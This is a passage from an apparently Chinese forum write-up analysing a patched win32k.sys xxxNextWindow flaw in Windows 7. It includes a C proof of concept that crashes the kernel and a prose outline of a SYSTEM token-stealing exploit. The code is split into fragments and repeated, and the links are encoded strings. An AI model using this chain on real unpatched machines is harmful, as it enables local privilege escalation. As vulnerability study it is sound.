新手初学二进制漏洞不久,也是第一次写相关的博客,如有不足和错误,请各位师傅们多多指正
win32k.sys为驱动文件,主要为应用层提供大量服务。功能上主要实现窗口管理和图形设备接口。
该漏洞是在win32k.sys中xxxNextWindow中,对于tagWnd对象内成员,只进行了是否为零的判断,而没有验证是否有效,导致可以构造内核空间任意地址写,最终实现本地提权。
Windows Vista SP2 Windows Server 2008 SP2 and R2 SP1 Windows 7 SP1 Windows 8.1 Windows Server 2012 Gold and R2 Windows RT 8.1 Windows 10 Gold,1511,and 1607 Windows Server 2016
microsoft补丁如下:03fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6W2L8W2)9J5k6q4g2e0i4K6u0r3N6Y4g2D9L8X3g2J5j5h3u0A6L8r3W2@1P5g2)9J5c8V1y4h3c8g2)9J5k6o6t1H3x3e0k6Q4x3X3b7%4x3U0f1#2
Windows 7 SP1 x86 VMware Workstation 16 Pro WinDbg 10.0.18362.1 IDA Pro 7.6
主要介绍一些后面会用到的结构体和函数 1.用户态窗口类结构体:WNDCLASSEX,该结构体的定义如下
其中需要关注的是cbWndExtra成员,当创建窗口实例的时候系统会根据cbWndExtra的值分配相应大小的空间 2.内核态窗口类结构体:tagWND,下面列出该结构体中需要关注的成员
3.内核态菜单类结构体 : tagMENU,只需要知道在偏移0x14存在fFlags字段
4.SetWindowLong函数
SetWindowLong函数可以用来改变窗口的属性,也可以向窗口拓展内存中写入数据,SetWindowLong最终调用了xxxSetWindowLong。 在xxxSetWindowLong中,会对传入的nIndex进行判断,当nIndex小于0时,会调用xxxSetWindowData,如下图所示。 而在xxxSetWindowData中,当nIndex为-12(GWL_ID),且窗口的style为WS_CHILD(0x40000000)时,会将tagWND结构体中的spmenu成员的值设为传入的dwNewLong,如下图所示。 回到xxxSetWindowLong的第79行,当nIndex+4大于tagWND结构体中的cbwndExtra(拓展内存大小),即要越界的时候,就会跳转到第70行,设置ErrorCode,并返回,如下图所示。 当nIndex不小于零,且不存在越界的情况时,就会根据nIndex,设置拓展内存中的值,如下图所示
该漏洞位于win32k!xxxNextWindow中,xxxNextWindow函数的反汇编如下所示 在第176行处,函数只对tagWND结构体中的spmenu成员是否为零进行了判断,而缺少了其他必要的检查,然后在177行就将spmenu偏移0x14处的地址中的值和0x4进行或操作。而spmenu,可以使用背景知识里所介绍的SetWindowLong对其进行修改,从而实现任意地址写操作。
要验证这个漏洞主要是实现对spmenu的修改,然后通过模拟按键alt+esc,进入xxxNextWindow触发漏洞
首先是创建两个窗口hWnd1和hWnd2
然后调用SetWindowlong,将窗口的style设置为WS_CHILD
再调用SetWindowLong,将窗口的spmenu设置为0x12345678
切换焦点到窗口2,将它设置为最前方窗口
最后是模拟alt+esc按键来处罚漏洞
完整的POC如下
运行POC,此时windbg显示如下,可以看到xxxNextWindow函数执行到 or dword ptr [eax+14h], 4 时,eax存储的就是之前写入的spmenu的值0x12345678,然后读取spmenu偏移0x14,即0x1234568C处的值进行或运算, 触发访问异常,导致系统崩溃
本节主要介绍该漏洞利用的思路。
HMValidateHandle函数可以将匹配的对象复制到用户空间中,并返回对应的地址,最终可以获得对象在内核空间中的地址。 然后是寻找HMValidateHandle的地址,由于该函数并没有导出,但是有一个用户态函数IsMenu调用了它,如下所示,只存在一个call指令,所以可以从IsMenu的地址开始遍历,寻找特征码E8,从而获得HMValidateHandle的地址
调用HMValidateHandle,得到了复制的tagWnd对象的地址,通过其中的成员head的pSelf字段,就可以获得tagWnd对象在内核空间中的地址,在0x90偏移处,得到了cbwndExtra成员的地址,根据漏洞实现的条件,如下所示,可以将cbwndExtra的地址-0x14+0x3 写入spmenu,实现cbwndExta最高字节与0x4进行或运算,由于cbwndExtra初始值为0,漏洞触发后,cbwndExtra的值就变为0x04000000。
完成增大cbwndExtra后,需要再创建一个窗口2,使得该窗口2的tagWnd与触发漏洞窗口1的tagWnd相近,这样就可以调用SetWindowLong通过向触发漏洞的窗口1的cbwndExtra写入数据的同时,能够修改窗口2的tagWnd的关键成员。为此可以创建了0x100个窗口,并选取两个tagWnd对象地址相差小于0x3fd00的窗口,一个作为触发漏洞的窗口tagWnd1,另一个作为利用的窗口tagWnd2,如下所示
现在使用SetWindowLong就可以去修改tagWnd2的成员,这里选择的位于0x34偏移处的spwndParent。然后调用GetAncestor,函数的定义如下。该函数实际调用内核态函数NtUserGetAncestor,将gaFlags设置为GA_PARENT(1),就会返回 *(tagWnd.spwndParent),所以可以将内核地址写入spwndParent成员,实现任意地址读取。
在实现任意地址写入的时候,选择的是tagWnd结构偏移0x8c处的strName.Buffer成员,通过SetWindowLong去修改Buffer,然后调用SetWindowText,函数定义如下,将要写入的值的地址作为参数传入,就可以任意值写入buffer指向的空间中。
最后就是实现提权,这里选择的就是修改当前进程的token。通过检查tagWnd结构体可以发现能够操作的地方,tagWND->head->pti->pEThread->ApcState->Process,通过一步步地调用ReadKernelMemory,就可以获得当前进程的EPROCESS结构体地址,后面只需要通过其中的ActiveProcessLinks去遍历进程链表,通过pid查找到system进程,然后调用WriteKernelMemory,将当前进程的token修改为system进程的token,完成提权,具体实现如下。
执行到此,任务管理器显示如下,可以看到本地进程的token已经和system进程的token相同,即权限已经提升成功。
对应的漏洞补丁为KB3197868。 首先是补丁前后的xxxNextWindow的反汇编比较,如下所示,在第173行处,比原先版本新增了一处判断,即xxxNextWindow会判断tagWnd的style成员是否为WS_CHILD(0x40000000),如果窗口的类型为WS_CHILD,则不会对spmenu.fFlags进行或操作。这么做的原因是因为,最开始设置spmenu成员的时候,调用了以GWL_ID为参数的SetWindowLong,只有当窗口类型为WS_CHILD,才能够传入的参数赋给spmenu成员,此处判断能够限制窗口的类型,从而对触发的过程进行限制。
1.243K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2@1M7X3g2F1k6r3#2A6j5%4u0G2i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4y4h3k6#2M7#2)9J5c8Y4u0W2M7$3g2S2M7X3y4Z5i4K6u0r3x3e0k6Q4x3V1k6D9i4K6u0r3L8$3&6W2i4K6u0V1j5X3W2@1i4K6u0V1M7Y4g2D9k6g2)9J5k6s2y4&6M7%4c8W2L8g2)9J5k6r3q4F1j5h3I4&6P5X3W2F1k6#2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3e0k6Q4x3X3b7%4x3U0f1#2i4K6u0V1k6i4S2H3L8r3!0A6N6q4)9J5k6s2N6A6L8r3c8Q4x3X3g2Z5N6r3#2D9 2.b2fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3y4o6p5J5y4e0t1#2x3U0m8Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5I4z5e0j5&6z5o6b7$3y4b7`.`. 3.dc8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3f1%4y4K6p5$3z5g2)9J5k6h3&6W2N6q4)9J5c8X3S2@1L8h3I4Q4x3V1j5#2x3o6t1#2x3#2)9J5k6h3S2@1L8h3H3`.
typedef struct WNDCLASSEX {
UINT cbSize;
/
/
类的大小
UINT style;
/
/
窗口风格
WNDPROC lpfnWndProc;
/
/
窗口处理函数指针
int
cbClsExtra;
/
/
所有窗口实例共同占用内存的大小
int
cbWndExtra;
/
/
窗口实例拓展内存的大小
HINSTANCE hInstance;
/
/
模块句柄
HICON hIcon;
/
/
图标句柄
HCURSOR hCursor;
/
/
光标句柄
HBRUSH hbrBackground;
/
/
背景刷句柄
LPCTSTR lpszMenuName;
/
/
菜单指针
LPCTSTR lpszClassName;
/
/
类名指针
HICON hIconSm;
} WNDCLASSEX,
*
PWNDCLASSEX;
typedef struct WNDCLASSEX {
UINT cbSize;
/
/
类的大小
UINT style;
/
/
窗口风格
WNDPROC lpfnWndProc;
/
/
窗口处理函数指针
int
cbClsExtra;
/
/
所有窗口实例共同占用内存的大小
int
cbWndExtra;
/
/
窗口实例拓展内存的大小
HINSTANCE hInstance;
/
/
模块句柄
HICON hIcon;
/
/
图标句柄
HCURSOR hCursor;
/
/
光标句柄
HBRUSH hbrBackground;
/
/
背景刷句柄
LPCTSTR lpszMenuName;
/
/
菜单指针
LPCTSTR lpszClassName;
/
/
类名指针
HICON hIconSm;
} WNDCLASSEX,
*
PWNDCLASSEX;
win32k!tagWND
...
+
0x078
spmenu : Ptr32 tagMENU
/
/
tagMENU菜单对象指针
...
+
0x084
strName
+
0x090
cbwndExtra : Int4B
/
/
窗口实例拓展内存大小
...
win32k!tagWND
...
+
0x078
spmenu : Ptr32 tagMENU
/
/
tagMENU菜单对象指针
...
+
0x084
strName
+
0x090
cbwndExtra : Int4B
/
/
窗口实例拓展内存大小
...
win32k!tagMENU
...
+
0x014
fFlags : Uint4B
...
win32k!tagMENU
...
+
0x014
fFlags : Uint4B
...
LONG
SetWindowLong(
HWND hWnd,
/
/
窗口句柄
int
nIndex,
/
/
偏移
LONG
dwNewLong
/
/
要设置的值
);
LONG
SetWindowLong(
HWND hWnd,
/
/
窗口句柄
int
nIndex,
/
/
偏移
LONG
dwNewLong
/
/
要设置的值
);
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
SetWindowLong(hWnd1,GWL_ID,
0x12345678
);
SetWindowLong(hWnd1,GWL_ID,
0x12345678
);
SwitchToThisWindow(hWnd2,TRUE);
SwitchToThisWindow(hWnd2,TRUE);
keybd_event(VK_MENU,
0
,
0
,
0
);
keybd_event(VK_ESCAPE,
0
,
0
,
0
);
keybd_event(VK_MENU,
0
,
0
,
0
);
keybd_event(VK_ESCAPE,
0
,
0
,
0
);
WCHAR
*
lpszClassName
=
L
"TEST"
;
int
APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int
nCmdShow)
{
HWND hWnd1;
HWND hWnd2;
WNDCLASSEXW wcs
=
{
0
};
wcs.cbSize
=
sizeof(WNDCLASSEXW);
wcs.lpfnWndProc
=
DefWindowProc;
wcs.hInstance
=
GetModuleHandle(NULL);
wcs.lpszClassName
=
lpszClassName;
if
(!RegisterClassExW(&wcs))
{
return
0
;
}
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
将窗口
1
的style设置为WS_CHILD,以便后面设置spmenu
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
/
/
将窗口
1
的spmenu设置为
0x12345678
SetWindowLong(hWnd1,GWL_ID,
0x12345678
);
/
/
将窗口
2
设置最前方窗口
SwitchToThisWindow(hWnd2,TRUE);
/
/
触发漏洞
keybd_event(VK_MENU,
0
,
0
,
0
);
keybd_event(VK_ESCAPE,
0
,
0
,
0
);
return
0
;
}
WCHAR
*
lpszClassName
=
L
"TEST"
;
int
APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int
nCmdShow)
{
HWND hWnd1;
HWND hWnd2;
WNDCLASSEXW wcs
=
{
0
};
wcs.cbSize
=
sizeof(WNDCLASSEXW);
wcs.lpfnWndProc
=
DefWindowProc;
wcs.hInstance
=
GetModuleHandle(NULL);
wcs.lpszClassName
=
lpszClassName;
if
(!RegisterClassExW(&wcs))
{
return
0
;
}
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-5-13 14:45
被帆帆帆帆编辑
,原因: